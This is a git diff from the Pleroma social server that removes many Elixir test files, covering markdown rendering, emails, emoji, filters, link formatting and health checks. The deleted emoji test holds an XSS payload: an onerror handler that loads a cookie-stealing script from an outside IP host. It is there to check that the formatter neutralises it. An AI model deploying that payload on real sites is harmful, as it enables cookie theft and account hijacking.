- [%{children: children} | _] = Generator.convert_to_strings(@descriptions) - child = Enum.at(children, 3) - %{children: [subchild | _]} = child - - assert subchild[:key] == ":another_key" - assert subchild[:label] == "Another key" - assert subchild[:type] == :integer - end - - test "subchild with predefined label" do - [%{children: children} | _] = Generator.convert_to_strings(@descriptions) - child = Enum.at(children, 3) - %{children: subchildren} = child - subchild = Enum.at(subchildren, 1) - - assert subchild[:key] == ":another_key_with_label" - assert subchild[:label] == "Another label" - end - - test "module suggestions" do - [%{children: [%{suggestions: suggestions} | _]} | _] = - Generator.convert_to_strings(@descriptions) - - Enum.each(suggestions, fn suggestion -> - assert String.starts_with?(suggestion, "Pleroma.") - end) - end - - test "atoms in suggestions with leading `:`" do - [%{children: children} | _] = Generator.convert_to_strings(@descriptions) - %{suggestions: suggestions} = Enum.at(children, 4) - assert Enum.at(suggestions, 0) == ":atom" - assert Enum.at(suggestions, 1) == "Pleroma.Upload" - assert Enum.at(suggestions, 2) == {":tuple", "string", 8080} - assert Enum.at(suggestions, 3) == [":atom", "Pleroma.Upload", {":atom", "Pleroma.Upload"}] - - %{suggestions: suggestions} = Enum.at(children, 6) - assert Enum.at(suggestions, 0) == ":always" - assert Enum.at(suggestions, 1) == ":never" - assert Enum.at(suggestions, 2) == ":if_available" - end - - test "group, key as string in main desc" do - descriptions = Generator.convert_to_strings(@descriptions) - desc = Enum.at(descriptions, 3) - assert desc[:group] == "Some string group" - assert desc[:key] == "Some string key" - end - - test "key as string subchild" do - [%{children: children} | _] = Generator.convert_to_strings(@descriptions) - child = Enum.at(children, 7) - assert child[:key] == "application/xml" - end - - test "suggestion for tls versions" do - [%{children: children} | _] = Generator.convert_to_strings(@descriptions) - child = Enum.at(children, 8) - assert child[:suggestions] == [":tlsv1", ":tlsv1.1", ":tlsv1.2"] - end - - test "subgroup with module name" do - [%{children: children} | _] = Generator.convert_to_strings(@descriptions) - - %{group: subgroup} = Enum.at(children, 6) - assert subgroup == {":subgroup", "Swoosh.Adapters.SMTP"} - end - end -end diff --git a/test/earmark_renderer_test.exs b/test/earmark_renderer_test.exs deleted file mode 100644 index 220d97d16..000000000 --- a/test/earmark_renderer_test.exs +++ /dev/null @@ -1,79 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.EarmarkRendererTest do - use ExUnit.Case - - test "Paragraph" do - code = ~s[Hello\n\nWorld!] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == "

Hello

World!

" - end - - test "raw HTML" do - code = ~s[OwO] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == "

#{code}

" - end - - test "rulers" do - code = ~s[before\n\n-----\n\nafter] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == "

before


after

" - end - - test "headings" do - code = ~s[# h1\n## h2\n### h3\n] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == ~s[

h1

h2

h3

] - end - - test "blockquote" do - code = ~s[> whoms't are you quoting?] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == "

whoms’t are you quoting?

" - end - - test "code" do - code = ~s[`mix`] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == ~s[

mix

] - - code = ~s[``mix``] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == ~s[

mix

] - - code = ~s[```\nputs "Hello World"\n```] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == ~s[
puts "Hello World"
] - end - - test "lists" do - code = ~s[- one\n- two\n- three\n- four] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == "
  • one
  • two
  • three
  • four
" - - code = ~s[1. one\n2. two\n3. three\n4. four\n] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == "
  1. one
  2. two
  3. three
  4. four
" - end - - test "delegated renderers" do - code = ~s[a
b] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == "

#{code}

" - - code = ~s[*aaaa~*] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == ~s[

aaaa~

] - - code = ~s[**aaaa~**] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == ~s[

aaaa~

] - - # strikethrought - code = ~s[aaaa~] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == ~s[

aaaa~

] - end -end diff --git a/test/emails/admin_email_test.exs b/test/emails/admin_email_test.exs deleted file mode 100644 index 155057f3e..000000000 --- a/test/emails/admin_email_test.exs +++ /dev/null @@ -1,69 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Emails.AdminEmailTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Emails.AdminEmail - alias Pleroma.Web.Router.Helpers - - test "build report email" do - config = Pleroma.Config.get(:instance) - to_user = insert(:user) - reporter = insert(:user) - account = insert(:user) - - res = - AdminEmail.report(to_user, reporter, account, [%{name: "Test", id: "12"}], "Test comment") - - status_url = Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, "12") - reporter_url = Helpers.user_feed_url(Pleroma.Web.Endpoint, :feed_redirect, reporter.id) - account_url = Helpers.user_feed_url(Pleroma.Web.Endpoint, :feed_redirect, account.id) - - assert res.to == [{to_user.name, to_user.email}] - assert res.from == {config[:name], config[:notify_email]} - assert res.subject == "#{config[:name]} Report" - - assert res.html_body == - "

Reported by: #{reporter.nickname}

\n

Reported Account: #{account.nickname}

\n

Comment: Test comment\n

Statuses:\n

\n

\n\n

\nView Reports in AdminFE\n" - end - - test "it works when the reporter is a remote user without email" do - config = Pleroma.Config.get(:instance) - to_user = insert(:user) - reporter = insert(:user, email: nil, local: false) - account = insert(:user) - - res = - AdminEmail.report(to_user, reporter, account, [%{name: "Test", id: "12"}], "Test comment") - - assert res.to == [{to_user.name, to_user.email}] - assert res.from == {config[:name], config[:notify_email]} - end - - test "new unapproved registration email" do - config = Pleroma.Config.get(:instance) - to_user = insert(:user) - account = insert(:user, registration_reason: "Plz let me in") - - res = AdminEmail.new_unapproved_registration(to_user, account) - - account_url = Helpers.user_feed_url(Pleroma.Web.Endpoint, :feed_redirect, account.id) - - assert res.to == [{to_user.name, to_user.email}] - assert res.from == {config[:name], config[:notify_email]} - assert res.subject == "New account up for review on #{config[:name]} (@#{account.nickname})" - - assert res.html_body == """ -

New account for review: @#{account.nickname}

-
Plz let me in
- Visit AdminFE - """ - end -end diff --git a/test/emails/mailer_test.exs b/test/emails/mailer_test.exs deleted file mode 100644 index 9e232d2a0..000000000 --- a/test/emails/mailer_test.exs +++ /dev/null @@ -1,55 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Emails.MailerTest do - use Pleroma.DataCase - alias Pleroma.Emails.Mailer - - import Swoosh.TestAssertions - - @email %Swoosh.Email{ - from: {"Pleroma", "noreply@example.com"}, - html_body: "Test email", - subject: "Pleroma test email", - to: [{"Test User", "user1@example.com"}] - } - setup do: clear_config([Pleroma.Emails.Mailer, :enabled], true) - - test "not send email when mailer is disabled" do - clear_config([Pleroma.Emails.Mailer, :enabled], false) - Mailer.deliver(@email) - :timer.sleep(100) - - refute_email_sent( - from: {"Pleroma", "noreply@example.com"}, - to: [{"Test User", "user1@example.com"}], - html_body: "Test email", - subject: "Pleroma test email" - ) - end - - test "send email" do - Mailer.deliver(@email) - :timer.sleep(100) - - assert_email_sent( - from: {"Pleroma", "noreply@example.com"}, - to: [{"Test User", "user1@example.com"}], - html_body: "Test email", - subject: "Pleroma test email" - ) - end - - test "perform" do - Mailer.perform(:deliver_async, @email, []) - :timer.sleep(100) - - assert_email_sent( - from: {"Pleroma", "noreply@example.com"}, - to: [{"Test User", "user1@example.com"}], - html_body: "Test email", - subject: "Pleroma test email" - ) - end -end diff --git a/test/emails/user_email_test.exs b/test/emails/user_email_test.exs deleted file mode 100644 index a75623bb4..000000000 --- a/test/emails/user_email_test.exs +++ /dev/null @@ -1,48 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Emails.UserEmailTest do - use Pleroma.DataCase - - alias Pleroma.Emails.UserEmail - alias Pleroma.Web.Endpoint - alias Pleroma.Web.Router - - import Pleroma.Factory - - test "build password reset email" do - config = Pleroma.Config.get(:instance) - user = insert(:user) - email = UserEmail.password_reset_email(user, "test_token") - assert email.from == {config[:name], config[:notify_email]} - assert email.to == [{user.name, user.email}] - assert email.subject == "Password reset" - assert email.html_body =~ Router.Helpers.reset_password_url(Endpoint, :reset, "test_token") - end - - test "build user invitation email" do - config = Pleroma.Config.get(:instance) - user = insert(:user) - token = %Pleroma.UserInviteToken{token: "test-token"} - email = UserEmail.user_invitation_email(user, token, "test@test.com", "Jonh") - assert email.from == {config[:name], config[:notify_email]} - assert email.subject == "Invitation to Pleroma" - assert email.to == [{"Jonh", "test@test.com"}] - - assert email.html_body =~ - Router.Helpers.redirect_url(Endpoint, :registration_page, token.token) - end - - test "build account confirmation email" do - config = Pleroma.Config.get(:instance) - user = insert(:user, confirmation_token: "conf-token") - email = UserEmail.account_confirmation_email(user) - assert email.from == {config[:name], config[:notify_email]} - assert email.to == [{user.name, user.email}] - assert email.subject == "#{config[:name]} account confirmation" - - assert email.html_body =~ - Router.Helpers.confirm_email_url(Endpoint, :confirm_email, user.id, "conf-token") - end -end diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs deleted file mode 100644 index 12af6cd8b..000000000 --- a/test/emoji/formatter_test.exs +++ /dev/null @@ -1,49 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Emoji.FormatterTest do - alias Pleroma.Emoji.Formatter - use Pleroma.DataCase - - describe "emojify" do - test "it adds cool emoji" do - text = "I love :firefox:" - - expected_result = - "I love \"firefox\"" - - assert Formatter.emojify(text) == expected_result - end - - test "it does not add XSS emoji" do - text = - "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" - - custom_emoji = - { - "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)", - "https://placehold.it/1x1" - } - |> Pleroma.Emoji.build() - - refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text - end - end - - describe "get_emoji_map" do - test "it returns the emoji used in the text" do - assert Formatter.get_emoji_map("I love :firefox:") == %{ - "firefox" => "http://localhost:4001/emoji/Firefox.gif" - } - end - - test "it returns a nice empty result when no emojis are present" do - assert Formatter.get_emoji_map("I love moominamma") == %{} - end - - test "it doesn't die when text is absent" do - assert Formatter.get_emoji_map(nil) == %{} - end - end -end diff --git a/test/emoji/loader_test.exs b/test/emoji/loader_test.exs deleted file mode 100644 index 804039e7e..000000000 --- a/test/emoji/loader_test.exs +++ /dev/null @@ -1,83 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Emoji.LoaderTest do - use ExUnit.Case, async: true - alias Pleroma.Emoji.Loader - - describe "match_extra/2" do - setup do - groups = [ - "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], - "wildcard folder": "/emoji/custom/*/file.png", - "wildcard files": "/emoji/custom/folder/*.png", - "special file": "/emoji/custom/special.png" - ] - - {:ok, groups: groups} - end - - test "config for list of files", %{groups: groups} do - group = - groups - |> Loader.match_extra("/emoji/custom/first_file.png") - |> to_string() - - assert group == "list of files" - end - - test "config with wildcard folder", %{groups: groups} do - group = - groups - |> Loader.match_extra("/emoji/custom/some_folder/file.png") - |> to_string() - - assert group == "wildcard folder" - end - - test "config with wildcard folder and subfolders", %{groups: groups} do - group = - groups - |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png") - |> to_string() - - assert group == "wildcard folder" - end - - test "config with wildcard files", %{groups: groups} do - group = - groups - |> Loader.match_extra("/emoji/custom/folder/some_file.png") - |> to_string() - - assert group == "wildcard files" - end - - test "config with wildcard files and subfolders", %{groups: groups} do - group = - groups - |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png") - |> to_string() - - assert group == "wildcard files" - end - - test "config for special file", %{groups: groups} do - group = - groups - |> Loader.match_extra("/emoji/custom/special.png") - |> to_string() - - assert group == "special file" - end - - test "no mathing returns nil", %{groups: groups} do - group = - groups - |> Loader.match_extra("/emoji/some_undefined.png") - - refute group - end - end -end diff --git a/test/emoji_test.exs b/test/emoji_test.exs deleted file mode 100644 index 1dd3c58c6..000000000 --- a/test/emoji_test.exs +++ /dev/null @@ -1,43 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.EmojiTest do - use ExUnit.Case - alias Pleroma.Emoji - - describe "is_unicode_emoji?/1" do - test "tells if a string is an unicode emoji" do - refute Emoji.is_unicode_emoji?("X") - assert Emoji.is_unicode_emoji?("☂") - assert Emoji.is_unicode_emoji?("🥺") - end - end - - describe "get_all/0" do - setup do - emoji_list = Emoji.get_all() - {:ok, emoji_list: emoji_list} - end - - test "first emoji", %{emoji_list: emoji_list} do - [emoji | _others] = emoji_list - {code, %Emoji{file: path, tags: tags}} = emoji - - assert tuple_size(emoji) == 2 - assert is_binary(code) - assert is_binary(path) - assert is_list(tags) - end - - test "random emoji", %{emoji_list: emoji_list} do - emoji = Enum.random(emoji_list) - {code, %Emoji{file: path, tags: tags}} = emoji - - assert tuple_size(emoji) == 2 - assert is_binary(code) - assert is_binary(path) - assert is_list(tags) - end - end -end diff --git a/test/federation/federation_test.exs b/test/federation/federation_test.exs deleted file mode 100644 index 10d71fb88..000000000 --- a/test/federation/federation_test.exs +++ /dev/null @@ -1,47 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Integration.FederationTest do - use Pleroma.DataCase - @moduletag :federated - import Pleroma.Cluster - - setup_all do - Pleroma.Cluster.spawn_default_cluster() - :ok - end - - @federated1 :"federated1@127.0.0.1" - describe "federated cluster primitives" do - test "within/2 captures local bindings and executes block on remote node" do - captured_binding = :captured - - result = - within @federated1 do - user = Pleroma.Factory.insert(:user) - {captured_binding, node(), user} - end - - assert {:captured, @federated1, user} = result - refute Pleroma.User.get_by_id(user.id) - assert user.id == within(@federated1, do: Pleroma.User.get_by_id(user.id)).id - end - - test "runs webserver on customized port" do - {nickname, url, url_404} = - within @federated1 do - import Pleroma.Web.Router.Helpers - user = Pleroma.Factory.insert(:user) - user_url = account_url(Pleroma.Web.Endpoint, :show, user) - url_404 = account_url(Pleroma.Web.Endpoint, :show, "not-exists") - - {user.nickname, user_url, url_404} - end - - assert {:ok, {{_, 200, _}, _headers, body}} = :httpc.request(~c"#{url}") - assert %{"acct" => ^nickname} = Jason.decode!(body) - assert {:ok, {{_, 404, _}, _headers, _body}} = :httpc.request(~c"#{url_404}") - end - end -end diff --git a/test/filter_test.exs b/test/filter_test.exs deleted file mode 100644 index 0a5c4426a..000000000 --- a/test/filter_test.exs +++ /dev/null @@ -1,158 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.FilterTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Filter - alias Pleroma.Repo - - describe "creating filters" do - test "creating one filter" do - user = insert(:user) - - query = %Filter{ - user_id: user.id, - filter_id: 42, - phrase: "knights", - context: ["home"] - } - - {:ok, %Filter{} = filter} = Filter.create(query) - result = Filter.get(filter.filter_id, user) - assert query.phrase == result.phrase - end - - test "creating one filter without a pre-defined filter_id" do - user = insert(:user) - - query = %Filter{ - user_id: user.id, - phrase: "knights", - context: ["home"] - } - - {:ok, %Filter{} = filter} = Filter.create(query) - # Should start at 1 - assert filter.filter_id == 1 - end - - test "creating additional filters uses previous highest filter_id + 1" do - user = insert(:user) - - query_one = %Filter{ - user_id: user.id, - filter_id: 42, - phrase: "knights", - context: ["home"] - } - - {:ok, %Filter{} = filter_one} = Filter.create(query_one) - - query_two = %Filter{ - user_id: user.id, - # No filter_id - phrase: "who", - context: ["home"] - } - - {:ok, %Filter{} = filter_two} = Filter.create(query_two) - assert filter_two.filter_id == filter_one.filter_id + 1 - end - - test "filter_id is unique per user" do - user_one = insert(:user) - user_two = insert(:user) - - query_one = %Filter{ - user_id: user_one.id, - phrase: "knights", - context: ["home"] - } - - {:ok, %Filter{} = filter_one} = Filter.create(query_one) - - query_two = %Filter{ - user_id: user_two.id, - phrase: "who", - context: ["home"] - } - - {:ok, %Filter{} = filter_two} = Filter.create(query_two) - - assert filter_one.filter_id == 1 - assert filter_two.filter_id == 1 - - result_one = Filter.get(filter_one.filter_id, user_one) - assert result_one.phrase == filter_one.phrase - - result_two = Filter.get(filter_two.filter_id, user_two) - assert result_two.phrase == filter_two.phrase - end - end - - test "deleting a filter" do - user = insert(:user) - - query = %Filter{ - user_id: user.id, - filter_id: 0, - phrase: "knights", - context: ["home"] - } - - {:ok, _filter} = Filter.create(query) - {:ok, filter} = Filter.delete(query) - assert is_nil(Repo.get(Filter, filter.filter_id)) - end - - test "getting all filters by an user" do - user = insert(:user) - - query_one = %Filter{ - user_id: user.id, - filter_id: 1, - phrase: "knights", - context: ["home"] - } - - query_two = %Filter{ - user_id: user.id, - filter_id: 2, - phrase: "who", - context: ["home"] - } - - {:ok, filter_one} = Filter.create(query_one) - {:ok, filter_two} = Filter.create(query_two) - filters = Filter.get_filters(user) - assert filter_one in filters - assert filter_two in filters - end - - test "updating a filter" do - user = insert(:user) - - query_one = %Filter{ - user_id: user.id, - filter_id: 1, - phrase: "knights", - context: ["home"] - } - - changes = %{ - phrase: "who", - context: ["home", "timeline"] - } - - {:ok, filter_one} = Filter.create(query_one) - {:ok, filter_two} = Filter.update(filter_one, changes) - - assert filter_one != filter_two - assert filter_two.phrase == changes.phrase - assert filter_two.context == changes.context - end -end diff --git a/test/fixtures/modules/runtime_module.ex b/test/fixtures/modules/runtime_module.ex index f11032b57..e348c499e 100644 --- a/test/fixtures/modules/runtime_module.ex +++ b/test/fixtures/modules/runtime_module.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors # SPDX-License-Identifier: AGPL-3.0-only -defmodule RuntimeModule do +defmodule Fixtures.Modules.RuntimeModule do @moduledoc """ This is a dummy module to test custom runtime modules. """ diff --git a/test/following_relationship_test.exs b/test/following_relationship_test.exs deleted file mode 100644 index 17a468abb..000000000 --- a/test/following_relationship_test.exs +++ /dev/null @@ -1,47 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.FollowingRelationshipTest do - use Pleroma.DataCase - - alias Pleroma.FollowingRelationship - alias Pleroma.Web.ActivityPub.InternalFetchActor - alias Pleroma.Web.ActivityPub.Relay - - import Pleroma.Factory - - describe "following/1" do - test "returns following addresses without internal.fetch" do - user = insert(:user) - fetch_actor = InternalFetchActor.get_actor() - FollowingRelationship.follow(fetch_actor, user, :follow_accept) - assert FollowingRelationship.following(fetch_actor) == [user.follower_address] - end - - test "returns following addresses without relay" do - user = insert(:user) - relay_actor = Relay.get_actor() - FollowingRelationship.follow(relay_actor, user, :follow_accept) - assert FollowingRelationship.following(relay_actor) == [user.follower_address] - end - - test "returns following addresses without remote user" do - user = insert(:user) - actor = insert(:user, local: false) - FollowingRelationship.follow(actor, user, :follow_accept) - assert FollowingRelationship.following(actor) == [user.follower_address] - end - - test "returns following addresses with local user" do - user = insert(:user) - actor = insert(:user, local: true) - FollowingRelationship.follow(actor, user, :follow_accept) - - assert FollowingRelationship.following(actor) == [ - actor.follower_address, - user.follower_address - ] - end - end -end diff --git a/test/formatter_test.exs b/test/formatter_test.exs deleted file mode 100644 index f066bd50a..000000000 --- a/test/formatter_test.exs +++ /dev/null @@ -1,312 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.FormatterTest do - alias Pleroma.Formatter - alias Pleroma.User - use Pleroma.DataCase - - import Pleroma.Factory - - setup_all do - clear_config(Pleroma.Formatter) - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe ".add_hashtag_links" do - test "turns hashtags into links" do - text = "I love #cofe and #2hu" - - expected_text = - ~s(I love #cofe and #2hu) - - assert {^expected_text, [], _tags} = Formatter.linkify(text) - end - - test "does not turn html characters to tags" do - text = "#fact_3: pleroma does what mastodon't" - - expected_text = - ~s(#fact_3: pleroma does what mastodon't) - - assert {^expected_text, [], _tags} = Formatter.linkify(text) - end - end - - describe ".add_links" do - test "turning urls into links" do - text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ." - - expected = - ~S(Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla .) - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "https://mastodon.social/@lambadalambda" - - expected = - ~S(https://mastodon.social/@lambadalambda) - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "https://mastodon.social:4000/@lambadalambda" - - expected = - ~S(https://mastodon.social:4000/@lambadalambda) - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "@lambadalambda" - expected = "@lambadalambda" - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "http://www.cs.vu.nl/~ast/intel/" - - expected = - ~S(http://www.cs.vu.nl/~ast/intel/) - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087" - - expected = - "https://forum.zdoom.org/viewtopic.php?f=44&t=57087" - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul" - - expected = - "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul" - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "https://www.google.co.jp/search?q=Nasim+Aghdam" - - expected = - "https://www.google.co.jp/search?q=Nasim+Aghdam" - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "https://en.wikipedia.org/wiki/Duff's_device" - - expected = - "https://en.wikipedia.org/wiki/Duff's_device" - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "https://pleroma.com https://pleroma.com/sucks" - - expected = - "https://pleroma.com https://pleroma.com/sucks" - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "xmpp:contact@hacktivis.me" - - expected = "xmpp:contact@hacktivis.me" - - assert {^expected, [], []} = Formatter.linkify(text) - - text = - "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com" - - expected = "#{text}" - - assert {^expected, [], []} = Formatter.linkify(text) - end - end - - describe "Formatter.linkify" do - test "correctly finds mentions that contain the domain name" do - _user = insert(:user, %{nickname: "lain"}) - _remote_user = insert(:user, %{nickname: "lain@lain.com", local: false}) - - text = "hey @lain@lain.com what's up" - - {_text, mentions, []} = Formatter.linkify(text) - [{username, user}] = mentions - - assert username == "@lain@lain.com" - assert user.nickname == "lain@lain.com" - end - - test "gives a replacement for user links, using local nicknames in user links text" do - text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me" - gsimg = insert(:user, %{nickname: "gsimg"}) - - archaeme = - insert(:user, - nickname: "archa_eme_", - uri: "https://archeme/@archa_eme_" - ) - - archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) - - {text, mentions, []} = Formatter.linkify(text) - - assert length(mentions) == 3 - - expected_text = - ~s(@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme) - - assert expected_text == text - end - - test "gives a replacement for user links when the user is using Osada" do - {:ok, mike} = User.get_or_fetch("mike@osada.macgirvin.com") - - text = "@mike@osada.macgirvin.com test" - - {text, mentions, []} = Formatter.linkify(text) - - assert length(mentions) == 1 - - expected_text = - ~s(@mike test) - - assert expected_text == text - end - - test "gives a replacement for single-character local nicknames" do - text = "@o hi" - o = insert(:user, %{nickname: "o"}) - - {text, mentions, []} = Formatter.linkify(text) - - assert length(mentions) == 1 - - expected_text = - ~s(@o hi) - - assert expected_text == text - end - - test "does not give a replacement for single-character local nicknames who don't exist" do - text = "@a hi" - - expected_text = "@a hi" - assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text) - end - - test "given the 'safe_mention' option, it will only mention people in the beginning" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - text = " @#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}" - {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true) - - assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}] - - assert expected_text == - ~s(@#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}) - end - - test "given the 'safe_mention' option, it will still work without any mention" do - text = "A post without any mention" - {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true) - - assert mentions == [] - assert expected_text == text - end - - test "given the 'safe_mention' option, it will keep text after newlines" do - user = insert(:user) - text = " @#{user.nickname}\n hey dude\n\nhow are you doing?" - - {expected_text, _, _} = Formatter.linkify(text, safe_mention: true) - - assert expected_text =~ "how are you doing?" - end - - test "it can parse mentions and return the relevant users" do - text = - "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" - - o = insert(:user, %{nickname: "o"}) - jimm = insert(:user, %{nickname: "jimm"}) - gsimg = insert(:user, %{nickname: "gsimg"}) - archaeme = insert(:user, %{nickname: "archaeme"}) - archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) - - expected_mentions = [ - {"@archaeme", archaeme}, - {"@archaeme@archae.me", archaeme_remote}, - {"@gsimg", gsimg}, - {"@jimm", jimm}, - {"@o", o} - ] - - assert {_text, ^expected_mentions, []} = Formatter.linkify(text) - end - - test "it parses URL containing local mention" do - _user = insert(:user, %{nickname: "lain"}) - - text = "https://example.com/@lain" - - expected = ~S(https://example.com/@lain) - - assert {^expected, [], []} = Formatter.linkify(text) - end - - test "it correctly parses angry face D:< with mention" do - lain = - insert(:user, %{ - nickname: "lain@lain.com", - ap_id: "https://lain.com/users/lain", - id: "9qrWmR0cKniB0YU0TA" - }) - - text = "@lain@lain.com D:<" - - expected_text = - ~S(@lain D:<) - - expected_mentions = [ - {"@lain@lain.com", lain} - ] - - assert {^expected_text, ^expected_mentions, []} = Formatter.linkify(text) - end - end - - describe ".parse_tags" do - test "parses tags in the text" do - text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。" - - expected_tags = [ - {"#Test", "test"}, - {"#working", "working"}, - {"#は", "は"}, - {"#漢字", "漢字"} - ] - - assert {_text, [], ^expected_tags} = Formatter.linkify(text) - end - end - - test "it escapes HTML in plain text" do - text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" - expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" - - assert Formatter.html_escape(text, "text/plain") == expected - end -end diff --git a/test/healthcheck_test.exs b/test/healthcheck_test.exs deleted file mode 100644 index e341e6983..000000000 --- a/test/healthcheck_test.exs +++ /dev/null @@ -1,33 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HealthcheckTest do - use Pleroma.DataCase - alias Pleroma.Healthcheck - - test "system_info/0" do - result = Healthcheck.system_info() |> Map.from_struct() - - assert Map.keys(result) == [ - :active, - :healthy, - :idle, - :job_queue_stats, - :memory_used, - :pool_size - ] - end - - describe "check_health/1" do - test "pool size equals active connections" do - result = Healthcheck.check_health(%Healthcheck{pool_size: 10, active: 10}) - refute result.healthy - end - - test "chech_health/1" do - result = Healthcheck.check_health(%Healthcheck{pool_size: 10, active: 9}) - assert result.healthy - end - end -end diff --git a/test/html_test.exs b/test/html_test.exs deleted file mode 100644 index 7d3756884..000000000 --- a/test/html_test.exs +++ /dev/null @@ -1,255 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma 